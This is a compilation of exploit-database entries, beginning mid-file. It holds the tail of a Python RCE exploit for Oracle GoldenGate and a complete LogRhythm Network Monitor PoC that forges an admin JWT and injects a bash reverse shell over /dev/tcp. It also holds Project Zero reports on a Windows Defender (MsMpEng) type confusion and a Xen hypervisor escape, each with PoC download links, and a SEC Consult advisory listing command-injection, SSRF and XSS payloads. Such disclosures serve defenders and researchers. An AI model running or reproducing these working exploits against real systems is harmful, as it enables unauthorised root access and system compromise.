ver = r[5:].replace("\t", " ")
print "[+] VERSION: %s\n" % (ver)
s.close()
return ver
def debug(cmd, l=None):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
length = None
if l is None:
length = struct.pack(">H", len(cmd))
else:
length = struct.pack(">H", l)
s.send(length + cmd)
print "[+] Sent: %s" % (repr(length + cmd))
r = s.recv(1024)
print "[+] Received: %s\n" % (repr(r))
s.close()
parser = argparse.ArgumentParser(
description='GOLDENSHOWER - Oracle GoldenGate unauthenticated RCE by Silent Signal')
parser.add_argument("--host", help="Target host")
parser.add_argument("--port", help="Target port", type=int, default=7809)
parser.add_argument("--cmd", help="Command(s) to execute", nargs='*')
parser.add_argument(
"--monitor", help="Dump information (incl. version) via HTTP monitoring functions", action="store_true")
parser.add_argument("--debugcmd", help="Send raw content", required=False)
parser.add_argument("--debuglen", help="Indicated size of raw content",
type=int, default=None, required=False)
args = parser.parse_args()
HOST = args.host
PORT = args.port
ver = version()
if "Windows" in ver:
PLATFORM = "win"
print "[+] Platform: Windows"
else:
PLATFORM = "nix"
print "[+] Platform: *nix"
if args.cmd:
for c in args.cmd:
send_write(c)
send_exec()
if args.monitor:
monitor()
if args.debugcmd:
debug(args.debugcmd, args.debuglen)
# Signature: aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj0wNHZINFdfOVJmZw==
# Exploit Title: LogRhythm Network Monitor Auth Bypass Root RCE
# Public Disclosure Date: 24 Apr 2017
# Author: Francesco Oddo
# Reference: http://security-assessment.com/files/documents/advisory/Logrhythm-NetMonitor-Advisory.pdf
# Software Link: https://logrhythm.com/network-monitor-freemium/
# Version: 3.3.2.1061 (latest) or below
# Tested On: nm_install_3.3.2.1061.iso with Freemium License (SHA256 7978f84e9fb18e2fae95f77a263801ca89b4767c95154b9ea874032081b02ce1)
# Dependencies: `pip install PyJWT`
import json
import requests
import argparse
import time
import jwt
def forge_jwt(rhost):
print "[+] Forging JWT authentication token"
key = 'Gluten-free 100% narwhal deserunt polaroid; quinoa keytar asymmetrical slow-carb plaid occaecat nostrud green juice dolor!'
iat = time.time()
exp = iat + 3600;
body = json.loads('{"iat":1479893930,"exp":1479894830,"data":{"username":"admin","licensed":true,"role":"admin","timeToResetPass":false}}')
body["iat"] = int(iat)
body["exp"] = int(exp)
token = jwt.encode(body, key, algorithm='HS512');
return token
def command_inject(rhost, lhost, lport, gwhost, ifname):
uri = "https://%s/data/api/configuration/" % rhost
json_body = json.loads('{"type":"network","configurations":[{"name":"interface","value":"","isToggle":false},{"name":"method","value":true,"isToggle":true},{"name":"ipAddress","value":"","isToggle":false},{"name":"netMask","value":"255.255.255.0","isToggle":false},{"name":"gateway","value":"","isToggle":false},{"name":"dnsServers","value":"","isToggle":false},{"name":"searchDomains","value":"","isToggle":false}],"diffFields":["dnsServers"]}')
payload = ";bash -i >& /dev/tcp/%s/%s 0>&1" % (lhost, lport)
json_body["configurations"][0]["value"] = ifname
json_body["configurations"][2]["value"] = rhost
json_body["configurations"][3]["value"] = payload
json_body["configurations"][4]["value"] = gwhost
json_body["configurations"][5]["value"] = gwhost
jwt = forge_jwt(rhost)
auth_header = {'Token': jwt}
print "[+] Initiating reverse shell via command injection at %s:%s" % (lhost, lport)
requests.post(url=uri, json=json_body, headers=auth_header, verify=False)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='LogRhythm Network Monitor Root Remote Command Execution PoC')
parser.add_argument('--rhost', help='RHOST IP address')
parser.add_argument('--lhost', help='LHOST IP address')
parser.add_argument('--lport', help='LPORT')
parser.add_argument('--gwhost', help='Gateway IP address')
parser.add_argument('--ifname', help='Target Interface Identifier', default='enp0s3')
args = parser.parse_args()
command_inject(args.rhost, args.lhost, args.lport, args.gwhost, args.ifname)
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1252&desc=5
MsMpEng is the Malware Protection service that is enabled by default on Windows 8, 8.1, 10, Windows Server 2012, and so on. Additionally, Microsoft Security Essentials, System Centre Endpoint Protection and various other Microsoft security products share the same core engine. MsMpEng runs as NT AUTHORITY\SYSTEM without sandboxing, and is remotely accessible without authentication via various Windows services, including Exchange, IIS, and so on.
On workstations, attackers can access mpengine by sending emails to users (reading the email or opening attachments is not necessary), visiting links in a web browser, instant messaging and so on. This level of accessibility is possible because MsMpEng uses a filesystem minifilter to intercept and inspect all system filesystem activity, so writing controlled contents to anywhere on disk (e.g. caches, temporary internet files, downloads (even unconfirmed downloads), attachments, etc) is enough to access functionality in mpengine. MIME types and file extensions are not relevant to this vulnerability, as MsMpEng uses it's own content identification system.
Vulnerabilities in MsMpEng are among the most severe possible in Windows, due to the privilege, accessibility, and ubiquity of the service.
The core component of MsMpEng responsible for scanning and analysis is called mpengine. Mpengine is a vast and complex attack surface, comprising of handlers for dozens of esoteric archive formats, executable packers and cryptors, full system emulators and interpreters for various architectures and languages, and so on. All of this code is accessible to remote attackers.
NScript is the component of mpengine that evaluates any filesystem or network activity that looks like JavaScript. To be clear, this is an unsandboxed and highly privileged JavaScript interpreter that is used to evaluate untrusted code, by default on all modern Windows systems. This is as surprising as it sounds.
We have written a tool to access NScript via a command shell for testing, allowing us to explore and evaluate it:
$ mpscript
main(): Please wait, initializing engine...
main(): Ready, type javascript (history available, use arrow keys)
> 6 * 9
JavaScriptLog(): 54
> document.location.hostname
JavaScriptLog(): www.myserver.com
> "abcd" + String.fromCharCode(0x3f)
JavaScriptLog(): abcd?
> /[y]e+(s|S)/.exec("yes")[0] // C++ regex engine running unsandboxed as SYSTEM on attacker controlled REGEX?
JavaScriptLog(): yes
> for (i in document) log(i)
JavaScriptLog(): appendChild
JavaScriptLog(): attributes
JavaScriptLog(): childNodes
JavaScriptLog(): createElement
JavaScriptLog(): createTextNode
JavaScriptLog(): getElementById
JavaScriptLog(): getElementsByTagName
JavaScriptLog(): write
JavaScriptLog(): writeln
JavaScriptLog(): referrer
JavaScriptLog(): cookie
JavaScriptLog(): location
JavaScriptLog(): undefined
> window.ScriptEngineBuildVersion
JavaScriptLog(): [object Function]
> window.ScriptEngineBuildVersion()
JavaScriptLog(): 8831
We have discovered that the function JsDelegateObject_Error::toString() reads the "message" property from the this object, but fails to validate the type of the property before passing it to JsRuntimeState::triggerShortStrEvent().
In pseudocode, the code does something like this:
prophash = JsObject::genPropHash("message", 0);
RuntimeState::getThisPtr(&thisptr)
if (JsObject::get(thisptr, prophash, &message)) {
JsRuntimeState::triggerShortStrEvent("error_tostring", message);
}
The method assumes that message is a string, but it can be of any type, so this type confusion allows an attacker to pass arbitrary other objects. JsRuntimeState::triggerShortStrEvent() calls JsString::numBytes() on the passed object, which will invoke a method from the object's vtable.
int __fastcall JsString::numBytes(JsString this)
{
if ( this == 0x12 )
return 0;
if ( (this & 0x12) == 0x12 )
return this >> 5;
return this->vtbl->GetLength(this);
}
Nscript supports "short" strings, with length and values contained in the handle and "long" strings with out-of-line memory. If the string is "long" (or appears to be due to type confusion), a vtable call is made to retrieve the length.
Integer handles are represented as four-byte values with the final bit set to one by the engine. The integer itself is left shifted by one bit, and the final bit set to create the handle. Handles to most objects, including strings are represented as the value of the pointer to the object with no modification. Therefore, this type confusion allows an integer to be specified and treated as pointer (though the bits need to shifted to get the correct value in the handle, and only odd pointer values are possible).
To reproduce this vulnerability, download the attached testcase. The debugging session below was captured after visiting a website that did this:
<a href="testcase.txt" download id=link>
<script>
document.getElementById("link").click();
</script>
3: kd> !process
PROCESS 8805fd28 SessionId: 0 Cid: 0afc Peb: 7ffdf000 ParentCid: 01c8
DirBase: bded14e0 ObjectTable: bfb99640 HandleCount: 433.
Image: MsMpEng.exe
3: kd> !token -n
_EPROCESS 8805fd28, _TOKEN 00000000
TS Session ID: 0
User: S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)
3: kd> .lastevent
Last event: Access violation - code c0000005 (first chance)
debugger time: Fri May 5 18:22:14.740 2017 (UTC - 7:00)
3: kd> r
eax=00000010 ebx=1156c968 ecx=41414141 edx=115730f8 esi=68bd9100 edi=41414141
eip=68b1f5f2 esp=0208e12c ebp=0208e134 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010293
mpengine!FreeSigFiles+0xec822:
001b:68b1f5f2 8b07 mov eax,dword ptr [edi] ds:0023:41414141=????????
3: kd> lmv mmpengine
start end module name
68790000 6917a000 mpengine (export symbols) mpengine.dll
Loaded symbol image file: mpengine.dll
Image path: c:\ProgramData\Microsoft\Microsoft Antimalware\Definition Updates\{1C2B7358-645B-41D0-9E79-5FA3E5C4EB51}\mpengine.dll
Image name: mpengine.dll
Timestamp: Thu Apr 06 16:05:37 2017 (58E6C9C1)
CheckSum: 00A1330D
ImageSize: 009EA000
Translations: 0000.04b0 0000.04e4 0409.04b0 0409.04e4
3: kd> u
mpengine!FreeSigFiles+0xec822:
001b:68b1f5f2 8b07 mov eax,dword ptr [edi]
001b:68b1f5f4 56 push esi
001b:68b1f5f5 8b7008 mov esi,dword ptr [eax+8]
001b:68b1f5f8 8bce mov ecx,esi
001b:68b1f5fa ff15c0450e69 call dword ptr [mpengine!MpContainerWrite+0x35f3a0 (690e45c0)]
001b:68b1f600 8bcf mov ecx,edi
001b:68b1f602 ffd6 call esi <--- Jump to attacker controlled address
001b:68b1f604 5e pop esi
Before executing JavaScript, mpengine uses a number of heuristics to decide if evaluation is necessary. One such heuristic estimates file entropy before deciding whether to evaluate any javascript, but we've found that appending some complex comments is enough to trigger this.
The attached proof of concept demonstrates this, but please be aware that downloading it will immediately crash MsMpEng in it's default configuration and possibly destabilize your system. Extra care should be taken sharing this report with other Windows users via Exchange, or web services based on IIS, and so on.
As mpengine will unpack arbitrarily deeply nested archives and supports many obscure and esoteric archive formats (such as Amiga ZOO and MagicISO UIF), there is no practical way to identify an exploit at the network level, and administrators should patch as soon as is practically possible.
We have verified that on Windows 10, adding a blanket exception for C:\ is enough to prevent automatic scanning of filesystem activity (you can still initiate manual scans, but it seems prudent to do so on trusted files only, making the action pointless).
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41975.zip
SEC Consult Vulnerability Lab Security Advisory < 20170509-0 >
=======================================================================
title: Multiple vulnerabilities
product: I, Librarian PDF manager
vulnerable version: <=4.6 & 4.7
fixed version: 4.8
CVE number: -
impact: Critical
homepage: https://i-librarian.net/
found: 2017-01-30
by: Wan Ikram (Office Kuala Lumpur)
Fikri Fadzil (Office Kuala Lumpur)
Jasveer Singh (Office Kuala Lumpur)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult
Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"I, Librarian is a PDF manager or PDF organizer, which enables researchers,
scholars, or students to create an annotated collection of PDF articles. If
used as a groupware, users may build their virtual library collaboratively,
sharing the workload of literature mining. I, Librarian will make your work
with scientific literature incredibly efficient."
Source: https://i-librarian.net/
Business recommendation:
------------------------
By combining the vulnerabilities documented in this advisory an attacker can
fully compromise the web server which has the "I, Librarian" software installed.
SEC Consult recommends to install the latest version available immediately and
perform a thorough security review of this software.
Vulnerability overview/description:
-----------------------------------
The application doesn't apply proper validation on some user inputs. As a
result, below vulnerabilities can be exploited by authenticated attackers with
any roles to fully compromise the system.
1. OS Command Injection
Arbitrary OS commands are possible to be executed from "batchimport.php". This
is a serious vulnerability as the chances for the web server to be fully
compromised are very high.
2. Server-Side Request Forgery
This vulnerability allows an attacker to send HTTP requests originating from the
web server. As some functions in the web application require requests to
be done from localhost, the risk for this vulnerability is considered high.
3. Directory Enumeration
It is possible to enumerate all directories in any directory on the server through
"jqueryFileTree.php".
4. Reflected Cross Site Scripting
This vulnerability was found in "temp.php". It allows an attacker to inject
malicious client side scripting which will be executed in the browser of users
if they visit the manipulated site.
Proof of concept:
-----------------
1. OS Command Injection
Below is the detail of a HTTP request that needs to be sent to execute arbitrary
OS commands through "batchimport.php":
URL : http://$DOMAIN/batchimport.php
METHOD : GET
PAYLOAD : directory=.&commence=&user="||<os-commands-here>||"
2. Server-Side Request Forgery
Below shows an example of the exploitation for this vulnerability. An attacker
can reset any user's password which by design requires the request to be sent
from localhost.
URL : http://$DOMAIN/ajaxsupplement.php
METHOD : POST
PAYLOAD :
form_new_file_link=http://$DOMAIN/resetpassword.php?username=<username>&new_password1=<new-password>&new_password2=<new-password>
3. Directory Enumeration
Available directories can be enumerated simply by navigating through the "dir"
parameter in "jqueryFileTree.php".
URL : http://$DOMAIN/jqueryFileTree.php
METHOD : POST
PAYLOAD : dir=<path-to-directory>
4. Reflected Cross Site Scripting
The following payload shows a simple alert message box:
URL : http://$DOMAIN/temp.php
METHOD : GET
PAYLOAD : tempfile=<script>alert(42)</script>
Vulnerable / tested versions:
-----------------------------
"I, Librarian" version 4.6 has been tested. This version was the latest
at the time the security vulnerabilities were discovered. It is assumed
that previous versions are affected as well.
Vendor contact timeline:
------------------------
2017-01-31: Contacting vendor through support@i-librarian.net
2017-01-31: Vendor replied with their PGP public key.
2017-02-03: Provided encrypted advisory and proof of concept to the vendor.
2017-02-09: Patch released, version 4.7.
2017-02-21: Informed vendor on some issues which were not addressed correctly.
2017-03-30: Patch released by the vendor - I, Librarian version 4.8.
2017-05-09: Public release of advisory
Solution:
---------
Upgrade to I, Librarian 4.8
For further information see:
https://i-librarian.net/article.php?id=9
Workaround:
-----------
None
Advisory URL:
-------------
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
SEC Consult
Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://www.sec-consult.com/en/Career.htm
Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://www.sec-consult.com/en/About/Contact.htm
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1231
This is a bug in Xen that permits an attacker with control over the
kernel of a 64bit X86 PV guest to write arbitrary entries into a live
top-level pagetable.
To prevent PV guests from doing things like mapping live pagetables as
writable, Xen assigns types to physical pages and tracks type-specific
references with a reference counter ("type count", stored in the low
bits of page->u.inuse.type_info).
64-bit PV guests have multiple places in which the addresses of
top-level pagetables are stored:
arch.guest_table_user and arch.guest_table in the vcpu struct point to
the pagetables the guest has designated as user-mode top-level
pagetable and kernel-mode top-level pagetable. Both of these fields
take a type-specific reference on the pagetable to prevent the guest
from mapping it as writable.
arch.cr3 in the vcpu struct points to the current top-level pagetable
of the vCPU. While the vCPU is scheduled, arch.cr3 is the same as the
physical CPU's CR3.
arch.cr3 does not take an extra type-specific reference; it borrows
the reference from either arch.guest_table_user or arch.guest_table.
This means that whenever the field from which the reference is
borrowed is updated, arch.cr3 (together with the physical CR3) must be
updated as well.
The guest can update arch.guest_table_user and arch.guest_table using
__HYPERVISOR_mmuext_op with commands
MMUEXT_NEW_USER_BASEPTR (for arch.guest_table_user) and
MMUEXT_NEW_BASEPTR (for arch.guest_table). The handlers for these
commands assume that when the hypercall is executed, arch.cr3 always
equals arch.guest_table: The MMUEXT_NEW_BASEPTR handler updates
arch.cr3 to the new arch.guest_table, the MMUEXT_NEW_USER_BASEPTR
handler doesn't touch arch.cr3.
Hypercalls can only be executed from kernel context, so on hypercall
entry, arch.cr3==arch.guest_table is indeed true. However, using the
__HYPERVISOR_multicall hypercall, it is possible to execute the
__HYPERVISOR_iret hypercall, which can switch the pagetables to user
context, immediately followed by the __HYPERVISOR_mmuext_op hypercall
before actually entering guest user context.
This can be exploited from guest kernel context roughly as follows:
- copy all entries from the top-level kernel pagetable over the
top-level user pagetable (to make it possible for a post-iret
hypercall to access guest kernel memory)
- allocate a new page to be used later as top-level user pagetable,
copy the contents of the current top-level user pagetable into it,
remap it as readonly and pin it as a top-level pagetable
- perform the following operations in a single multicall:
- switch to user context using __HYPERVISOR_iret
- change arch.guest_table_user to the new top-level user pagetable
using __HYPERVISOR_mmuext_op with command MMUEXT_NEW_USER_BASEPTR
- unpin the old top-level user pagetable
- map the old top-level user pagetable as writable
- write crafted entries into the old top-level user pagetable
I have attached a proof of concept that corrupts the top-level
pagetable entry that maps the hypervisor text, causing a host
triplefault. I have tested the proof of concept in the following
configurations:
configuration 1:
running inside VMware Workstation
Xen version "Xen version 4.6.0 (Ubuntu 4.6.0-1ubuntu4.3)"
dom0: Ubuntu 16.04.2, Linux 4.8.0-41-generic #44~16.04.1-Ubuntu
unprivileged guest: Ubuntu 16.04.2, Linux 4.4.0-66-generic #87-Ubuntu
configuration 2:
running on a physical machine with Qubes OS 3.2 installed
Xen version 4.6.4
Compile the PoC with ./compile.sh, then run ./attack as root.
PoC Filename: xen_ptuaf.tar
################################################################################
Here's an exploit that causes the hypervisor to execute shellcode that then deliberately causes a hypervisor GPF by calling a noncanonical address. Usage:
root@pv-guest:~/xen_ptuaf_hv_shellcode_exec# ./compile.sh
make: Entering directory '/usr/src/linux-headers-4.4.0-66-generic'
LD /root/xen_ptuaf_hv_shellcode_exec/built-in.o
CC [M] /root/xen_ptuaf_hv_shellcode_exec/module.o
nasm -f elf64 -o /root/xen_ptuaf_hv_shellcode_exec/native.o /root/xen_ptuaf_hv_shellcode_exec/native.asm
LD [M] /root/xen_ptuaf_hv_shellcode_exec/test.o
Building modules, stage 2.
MODPOST 1 modules
WARNING: could not find /root/xen_ptuaf_hv_shellcode_exec/.native.o.cmd for /root/xen_ptuaf_hv_shellcode_exec/native.o
CC /root/xen_ptuaf_hv_shellcode_exec/test.mod.o
LD [M] /root/xen_ptuaf_hv_shellcode_exec/test.ko
make: Leaving directory '/usr/src/linux-headers-4.4.0-66-generic'
root@pv-guest:~/xen_ptuaf_hv_shellcode_exec# ./attack
kernel CR3: 0xaa2dd000
L1 self-mapping is up, should have reliable pagetable control now
virt_to_pte(0x7f5bd439a000)
[ rest of output missing because of VM crash ]
Serial output:
(XEN) ----[ Xen-4.6.0 x86_64 debug=n Tainted: C ]----
(XEN) CPU: 2
(XEN) RIP: e008:[<00007f5bd439a03f>] 00007f5bd439a03f
(XEN) RFLAGS: 0000000000010246 CONTEXT: hypervisor (d1v2)
(XEN) rax: 1337133713371337 rbx: 1337133713371337 rcx: 1337133713371337
(XEN) rdx: 1337133713371337 rsi: 00007ffe98b5e248 rdi: 0000600000003850
(XEN) rbp: 1337133713371337 rsp: ffff8301abb37f30 r8: 0000000000000000
(XEN) r9: 000000000000001b r10: 0000000000000000 r11: 0000000000000202
(XEN) r12: 0000000080000000 r13: ffff8800026dd000 r14: ffff880003453c88
(XEN) r15: 0000000000000007 cr0: 0000000080050033 cr4: 00000000001506a0
(XEN) cr3: 00000000aa2dc000 cr2: ffff88007cfb2e98
(XEN) ds: 0000 es: 0000 fs: 0000 gs: 0000 ss: 0000 cs: e008
(XEN) Xen stack trace from rsp=ffff8301abb37f30:
(XEN) 1337133713371337 1337133713371337 1337133713371337 1337133713371337
(XEN) 1337133713371337 1337133713371337 1337133713371337 1337133713371337
(XEN) 1337133713371337 1337133713371337 1337133713371337 1337133713371337
(XEN) 1337133713371337 0000000000401556 000000000000e033 0000000000000246
(XEN) 00007ffe98b5e208 000000000000e02b 0000000000000000 0000000000000000
(XEN) 0000000000000000 0000000000000000 0000000000000002 ffff830088c9c000
(XEN) 000000312b835580 0000000000000000
(XEN) Xen call trace:
(XEN) [<00007f5bd439a03f>] 00007f5bd439a03f
(XEN)
(XEN)
(XEN) ****************************************
(XEN) Panic on CPU 2:
(XEN) GENERAL PROTECTION FAULT
(XEN) [error_code=0000]
(XEN) ****************************************
(XEN)
(XEN) Reboot in five seconds...
PoC Filename: xen_ptuaf_hv_shellcode_exec.tar
Proofs of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41973.zip